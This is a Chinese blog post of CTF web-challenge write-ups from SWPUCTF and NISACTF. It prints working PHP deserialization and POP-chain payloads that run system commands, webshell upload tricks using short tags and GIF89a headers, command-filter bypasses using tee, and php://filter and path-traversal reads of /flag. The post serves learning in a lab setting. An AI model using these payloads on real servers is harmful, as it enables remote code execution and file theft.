ZTJL1

20210221CTF小记之bugkuCTF冬至红包(短标签绕过echo、eval代码注入漏洞、$$绕过特定字符限制) 今天做了一道很恶心的题目,话不多说,先上结果图: 我们先来分析代码: 当没有用GET方法传入flag时,会显示Click here的链接。 点击链接会用GET方法传入一串字符串$exam,后面是当前时间的一串sha1哈希值。 判断传入的flag长度与$exam是否相同,不同则显示 长度不允许 第二个判断过滤了一大堆 第三个判断传入flag的值等于flag值的哈希值,正确就输出flag。用的是严格的三个等号的比较,我们flag都不知道,哈希值更不可能知道了,== 但容易发现此处存在任意代码. 阅读详情

[SWPUCTF 2021 新生赛]no_wakeup

查看PHP

 回到页面访问php,访问结果如下        

前面还比较好理解给出用户名和密码,但是后面就出现一个函数,我们应该要绕过它,

接着往下看一下,它需要admin=admin,然后就passwd=wllm,如果可以满足这个条件,就可以拿到flag了,现在关键的问题就是我们要绕过函数。

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

程序调用反序列化方法时,会自动执行__weakup()函数

payload

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

 如果我们这里是填2,也就是刚好等与两个属性,是达不到绕过的目的,所以我们要填大于2的数字。第一次访问不了的时候,我们要多尝试一下。

[SWPUCTF 2022 新生赛]ez_1zpop

<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}
  1. GET方式传递参数NSS,反序列化NSS
  2. 在类fin中存在着fmm方法,该方法可以执行任意命令;
  3. 类lt中,存在魔术方法tostring,该方法时可以执行fmm方法的;但是需要满足md5弱类型检测;同时变量impo的值需要是fin类;
  4. 因此我们还要让impo变量的值为fin类,同时需要绕过wakeup函数
  5. 小经验:__construct函数在反序列化题直接删掉,它只在初始化时生效

 在fin类中,fmm方法通过给b赋值后,当函数调用,如果给b赋值后,当函数调用,如果给b=‘system’

title再传入我们想要的命令

最后就可得到例,system(‘ls’) => a=′system′;a=′system′;title=‘目标命令’

在lt中

反序列化触发__wakeup,__destruct,__wakeup方法中,给impo实例一个dxg对象,并直接return,无法获取有效信息,所以没有什么用,绕过__wakeup的方法很简单,只需要将反序列化后的字符串,将对象属性数量改大

md5的弱比较也需要绕过。

__destruct方法触发就很简单了,将自己当字符串输出,直接触发__toString方法,返回fmm方法

__toString(): 当一个对象被当作字符串使用时触发

与前面的一样这一道题同样要绕过__wakeup

<?php
error_reporting(0);

class lt
{
    public $impo ;
    public $md51 = 's878926199a';
    public $md52 = 's155964671a';

}

class fin
{
    public $a='system';
    public $url = 'https://www.ctfer.vip';
    public $title='ls /';

}
$a=new lt();
$a->impo=new fin();
echo serialize($a);
//O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:4:"ls /";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}

payload

?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}

对这道题的思路还不是很清楚,后面还有待理解。

[SWPUCTF 2022 新生赛]funny_web

简单的尝试一下,提示用户名是实验室名,应该是NSS,目前知道的信息就只有那么多

 继续尝试一下,又有了新的提示,查了看看就是私货不去细细研究了,直接看吧

 密码是2122693401,登录,得到源代码

 这里num不等于12345,intval是取整函数,遇到非数字就停,那直接12345a,或者是小数点也是可以的。小数如12345.5即可

num=12345a

 [SWPUCTF 2022 新生赛]file_master

这是文件上传,先上传图片类型的吧

 看看index.php得到源码

 白名单里面有了限制,只允许image/jpeg

所以刚刚的图片可以上传

 但提示图像的宽和高必须小于20,看了其他师傅的做法,直接定义

#去掉文件头GIF89a
加上下面两句:

加上就可以上传成功了

#define height 1
#define width 1

 

接着上传一句话木马,发现被检测了,去掉php就没事

 

php短标签绕过

php中最常见的标签为<?php ?>

不过在题目上传时可能会被waf过滤掉php关键字。根据查询结果,还有四种php的标签,分别是:

①<? ?> 仅在配置short_open_tag=on时可以使用,适合执行php语句;

②<?= ?>即使配置short_open_tag=off时依然可以使用,相当于<?php echo ?>,适合输出php语句~

上述二者的短标签都不必闭合  即?>可以省略不写,也可以连接成功

一句话木马

 存在文件头检测,那就加个文件头GIF89a,但是出现上面的过滤,进行一下限制

记得去掉上面的那个phpinfo(),有了就会报错,去掉之后可以上传成功

<?= ?>可以代替php标签。<?= ?>短标签会直接把php的结果输出,<? ?>的功能则和<?php?>完全一样。

然后找一下sessionid

 访问上传成功的路径,sessionid加上filename就行

[SWPUCTF 2021 新生赛]finalrce

发现许多东西都被过滤了,我们就要换命令了。
 

?url=l\s / | tee 1.txt # 之后访问我们传入的文件1.txt,发现命令被执行,再去访问1.txt

再传入 ?url=tac /flllll\aaaaaaggggggg | tee 2.txt #然后访问2.txt

在两次传入之后我们都要访问相应的文件,因为内容已经被我们输入进去了,再次访问就是看到相应的

需要注意la也被过滤了

preg_match 函数用于执行一个正则表达式匹配,这里看到基本上过滤了很多命令cat,ls这种都不能使用了 可以使用tee命令

由于ls正则表达被过滤,所以我们还需要绕过preg_match 可以使用反斜杠(\)转义字符

这里的tee功能是从标准输入读取,再写入标准输出和文件 Payload:?url=l\s / |tee 1.txt 然后访问1.txt看到flllllaaaaaaggggggg

Tee命令是一个命令行工具,它从标准输入读取数据,同时将结果打印到文件中和标准输出到屏幕中。

tac命令其实就是cat命令的倒序版,与cat命令不同的是,它会先输出最后一行,然后是倒数第二行,以此类推

tac命令也可以与其他Linux命令一起使用,比如通过管道将tac命令的输出传递到grep命令中,对文件内容进行过滤。

tac filename | grep "keyword"

这条命令可以筛选出filename中的keyword关键字

[NISACTF 2022]easyssrf

这里说是输入要CURL的网站,我尝试了一下使用www.baidu.com,然后查看了一下回显

但是没有什么新的发现,尝试一下flag,发现就会有回显,接着用file://访问一下

后面会接着有新的回显,出现php,在url访问一下

发现了file_get_contents()这个函数,ssrf需要注意的一个函数。

师傅们的做法

我们分析一下这个代码,也就是我们要在url里面传入一个file的值,判断文件中是否包含"file"字符串 ,如果包含的话,输出 "你败了.",最后,通过 file_get_contents($file) 函数来读取文件内容并输出。这里我能想到的是ssrf结合一下php://filter,来拿到这个文件。ssrf结合伪协议来读取文件,读取/flag

payload: ?file=php://filter/read=convert.base64-encode/resource=/flag

TlNTQ1RGe2FkMWYwMmJmLTE2MDEtNDNmOC04YWQ0LWYyZDU1ZmQwNTg1NH0K

最后base解密就可以了

第二种方法

这个方法是这样的,因为是读取到一个文件对吧,我们是不是可以想到文件包含,想到文件包含,而且它也没有对../进行过滤,我们可以直接通过文件包含漏洞得到flag

payload://php?file=../../../../../../..//flag 也是在访问过php过后

对ssrf不是很了解

SSRF(Server-Side Request Forgery,服务器端请求伪造),漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。因此存在SSRF漏洞的服务器通常被作为跳板机来取得外网或内网其它应用服务器的信息。

协议利用:

包括但不仅限于:

file协议:可以通过file协议来读取系统的文件内容

dict协议:字典服务器协议,让客户端能够访问更多字典源。在SSRF中可以获取目标服务器上运行的服务版本等信息

gopher协议:gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。使用gopher协议时,通过控制访问的URL可实现向指定的服务器发送任意内容,如HTTP请求、MySQL请求等,所以其攻击面非常之广。
 

CTF 总结01:文件上传绕过 文件上传的番外,一句话木马绕过思路,第二版整理,还是会根据做题经验增补的~ 阅读详情

相关推荐

渗透测试 | php的webshell绕过方法汇总

这里设置一个用户自定义函数a,当里面有参数时,返回该参数的内容,这里shell里的a($_REQUEST)[1] 的实际效果为 a($_REQUEST),相当于是a($a),会返回$a的内容,结果为$_REQUEST,最后一行的实际内容为eval($_REQUEST[1]);测试可以正常连接phpclass User?

zkaqlaoniao的博客 1391

某校园内网渗透测试

信息收集   一、基础信息 目标系统是windows, 服务层有IIs6.0,Apache-Web-Server, 支撑层有ASP.NET,ASP,jQuery,VisualSVN,PHP5.2.6   二、端口开放情况: 利用goby对ip进行扫描,使用nmap工具也同样能扫出所有开放的端口   三、资产探测: 结合goby和nmap扫描的端口情况,手工探测了下,发现总共有5个web应用,以及开放了MySQL、RDP服务。 端口 应用 运行环境 备注 501 WEB:xxxxxxx网络课

qq_28624871的博客 4166

各种加法器的比对分析与Verilog实现(3)

了Kogge-Stone加法器和brent-kung加法器,本文将用Verilog代码进行实现。

Albert_yeager的博客 1196

2024.3.23日报(短标签绕过)

`,而短标签则是`

2302_80946742的博客 1193

Windows系统下LaTeX环境搭建与编辑器配置全攻略

本文详细介绍了在Windows系统下搭建LaTeX环境的完整流程,包括TeX Live的安装、TeXStudio编辑器的配置优化以及常见问题排查。特别针对中文用户推荐使用清华镜像源加速下载,并提供了XeLaTeX编译器配置、中文支持等实用技巧,帮助用户快速上手LaTeX文档编写。

weixin_42554408的博客 449

uniapp - 最新微信小程序手机号一键登录功能效果,uniapp小程序实现手机号码一键登录,uniapp微信小程序端通过手机号授权完成立即登录操作(详细示例源码,新手小白一键复制开箱即用)

uniapp,微信小程序,uniapp小程序平台,uniApp手机号一键登录,uniapp小程序端手机号一键登录功能,实现微信小程序手机号一键登录,在uniapp中实现获取手机一键登录功能,uniapp手机号快捷登录,uniapp微信小程序授权登录并获取手机号,微信小程序手机号快速验证组件调用方式,uniapp小程序怎么用手机号一键登录,uniapp一键登录流程及代码,如何获取手机号一键登录到小程序,微信小程序获取本机手机号一键登录功能,新手详细教程,详细手机一键登录完整示例代码,uni-app微信unia

✅ 精选推荐文章 1万+

ZTJL4

下载下来并没有什么发现,应该爆破压缩包,用AAPR不行,ziperello也不可以查了之后才是需要修复文件,用zipcenop修复了之后就可以了。密码也就不用了。前提是我们需要把压缩包和jar文件放在同一个目录下,cmd命令进入到当前目录下就可以了这个工具也就是修复zip伪加密文件,修复成功之后就不需要密码了。然后java -jar ZipCenOp.jar r lm.zip(lm.zip为需要处理的文件)出现下面这个页面就说明文件修复成功了。

qq_75005708的博客 234

【Claude】Disabled organization 错误:组织被禁用的原因与 API Key 绕过方法

如果环境变量存在,下一步是找出它在哪里被设置的。"Disabled organization" 错误的本质不是账户被封,而是认证优先级冲突。环境变量优先级最高始终覆盖 OAuth 订阅认证报错信息具有误导性:"组织被禁用"指的通常是 API Key 所属的组织,而不是你的个人账户旧 Key 是隐形炸弹:即使你已经不再使用某个组织的 API,只要环境变量中残留该 Key,它就会持续覆盖你的订阅认证非交互模式更敏感claude -p模式下,只要有环境变量,就会强制使用它,完全忽略/login。

博客 8855

ZTJL2

抓包看看使用本地,抓包后修改就可以了,再次访问新的地址就可以了后面第二种使用脚本就可以了。

qq_75005708的博客 169

Python 爬虫实战:赛事分析平台构建与比赛数据抓取

在体育赛事日益丰富的今天,对比赛数据的收集与分析对于运动员、教练团队以及体育爱好者都具有重要意义。通过构建一个赛事分析平台,我们可以系统地抓取、整理和展示各类比赛数据,为用户提供全面的赛事洞察。本文将深入讲解如何利用 Python 爬虫技术实现这一平台的构建,涵盖从目标网站分析到数据可视化展示的全过程。

u014481728的博客 3179

成本中心(CO)和利润中心(PCA)是管理会计模块的核心组件

SAP中成本中心(CO)和利润中心(PCA)凭证处理存在差异:①外部交易(如费用支付、销售)会生成FI借贷凭证;②内部成本分摊和转移仅产生CO/PCA管理凭证,通过次级成本要素或利润中心转移科目记录,不涉及FI模块。核心区别在于是否涉及企业实际收支:实际收支触发FI凭证,内部核算仅生成管理会计凭证。系统通过这种机制实现财务会计与管理会计的集成与分离。

金牌架构师 1127

ZTJL3

tables是从information_schema库的tables表中获取,后面的where table_schema='web2'是table表中获取web2的表的内容。也就是做了一定的限制,就只获取web2库中的表名。flag 和user。,v2必须是数字,并且对v1和v2的md5弱相等,也就是==,只比较字符串开头是否相等,那么就需要找到两个md5开头相等的即可。这题和web2差不多,只是过滤了空格,在每条查询语句加上/**/绕过空格就可以了。先绕过空格,/**/代替空格,可以,说明过滤了空格。

qq_75005708的博客 107

【STM32系统】基于STM32+手机APP设计的智能停车场系统

功能简介1、进出停车场时需要刷卡,进行一个记时、计费的功能。2、停车位配有超声波检测,主要识别车位是否被占用。3、车位区域配有OLED显示屏,用户可以通过显示屏看到空闲车位。4、车位配有车位灯。当用户找不到车位可以通过手机点亮车位灯5、停车场配有温湿度检测和烟雾检测模块。当环境发生异常状态。会触动紧急报警。6、停车场信息会通过Wi-Fi发送数据上传至阿里云。用户可以通过手机了解到停车场空闲车位和停车时间、费用。

嵌入式阿齐Archie 2万+

查杀我这辈子有幸遇到的第一个Linux病毒 (by quqi99)

作者:张华 发表于:2021-08-17 版权声明:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息及本版权声明 问题 本人有一个腾讯虚机,昨天忽然ssh不上去了,控制台重启之后就又上去了,所以也就过去了。 可是今天又遇到了同样情况,不能总重启啊,得好好研究一下怎么回事了。 关闭云镜 使用top命令看到有个叫什么YunJing的进程,搜索一番后通过下列命令删除。 sudo /usr/local/qcloud/stargate/admin/uninstall.sh sudo /usr/loca

技术并艺术着 2695

钉钉多维表格开发

从0到1完成钉钉多维表格开发SDK对接与实践案例。

沉修所长,勇逐新机;安而不怠,静而思变 3593

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

Linux Unix.Trojan.Elknot (Linux.BackDoor.Gates.5)木马清理

被黑后, 向外疯狂发包,造成网络瘫痪

liukeforever的专栏 1万+

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

linux系统中挖矿病毒

原创作者:运维工程师 谢晋 linux系统中挖矿病毒错误信息解决问题 错误信息 客户这边说某台虚拟机CPU突然暴增,用完了整个宿主机CPU资源 可以看到CPU使用确实很高 登录系统查看CPU使用情况 使用top查看CPU使用情况 # top 可以看到kdevtmpfsi进程,该进程明显是挖矿病毒进程 解决问题 如果直接kill掉kdevtmpfsi程序后续还会反复运行,所以要一次停掉他相关进程 打印出所有进程 # ps aux 可以看到kdevtmpfsi进程和他的守护进程kinsi

杭州吉网-运维日记 850

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

[红明谷CTF 2021]write_shell php短标签绕过

[红明谷CTF 2021]write_shell 考的是php里的绕过,因为正则过滤了php ; ~ eval等字符,所以php标签<?php?>写入不了 https://xz.aliyun.com/t/8107#toc-11这个文章讲绕过讲的挺详细的 对于这道题目可以用<?= ?>代替php标签。<?= ?>短标签会直接把php的结果输出,<? ?>的功能则和<?php?>完全一样。过滤空格可以用\t绕过,或者%09也是tab的URL编码。php

scrawman的博客 4028

PHP-RCE绕过的姿势总结

一、命令执行空格过滤取反绕过命令分隔符黑名单绕过(比如flag字符)拼接二、代码执行总结参考文章 前言 做了很多的题目,静下心来学习大佬做点小总结 一、命令执行 空格过滤 < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等 取反绕过 取反两次就可以得到想要绕过限制的数据 传参时 ?code=(~%8F%97%8F%96%91%99%90)(); 在做NSS平台上的一道rce题目就是用到类似的思路,

有时候,想要一块二向箔 1万+

PHP花式绕过大全

做了这么长的时间的ctf,现在总结一下自己做过的题,记录一下各种可能会存在绕过的php函数,持续跟新。 各位大佬可以一起交流♂交流。 1.preg_replace ($pattern , $replacement , $subject ) 其中 $pattern为正则表达式 $replacement为替换字符串 $subject 为要搜索...

fly夏天的博客 1万+

PHP短标签、双写绕过

文件中包含了PHP代码,但是在上下文中不被允许。(后端利用正则限制匹配PHP,php)上传的文件类型不是有效的 JPEG 图片格式。短标签会直接把php的结果输出,原来的路径中存在php。用pphpph双写绕过。·这都不做(web)(此题免杀马不可用)连接蚁剑,得flag。

2401_82985722的博客 556

php rce和绕过

php?>是正和常情况下的标签,用于识别这是个php文件,但php也允许使用短标签和等价于

m0_73973498的博客 4685

php绕过html标签,php特殊字符过滤,html标签处理

1,magic_quotes_gpc默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。其实这...

weixin_39802814的博客 861

php正则取反绕过和异或绕过

​ 当字母和数字被过滤,但是下划线没有被过滤的时候,我们就可以考虑使用异或绕过正则表达式的匹配。

lubai60060的博客 1331

BugKu_闪电十六鞭

访问目标地址 发现了一段php代码,又是代码审计的问题 分析代码 <?php error_reporting(0); require __DIR__.'/flag.php'; $exam = 'return\''.sha1(time()).'\';'; if (!isset($_GET['flag'])) { echo '<a href="./?flag='.$exam.'">Click here</a>'; } .

Kobalos的博客 1159

文件上传漏洞(漏洞产生因素、前端验证绕过,php标签绕过)

文件上传漏洞 copy xx.png/b+xx.txt xx.png 在嵌入了php脚本的html中,使用 phtml作为后缀名 php,php3,php4,php5,phtml.pht 上传漏洞相关因素 1.可解析的后缀, 也就是该语言有多个可解析的后缀,比如php语言可解析的后缀为php,php2,php3等等 2.大小写混合, 如果系统过滤不严,可能大小写可以绕过。 3.中间件, 每款中间件基本都解析漏洞,比如iis就可以把xxx.asp;.jpg当asp来执行。 4.系统特性, 特别是Window

ShenZ的博客 1489
上一篇: ARP欺骗
下一篇: ZTJL2
芝诺的乌龟M
博客等级 码龄4年 81粉丝 57原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值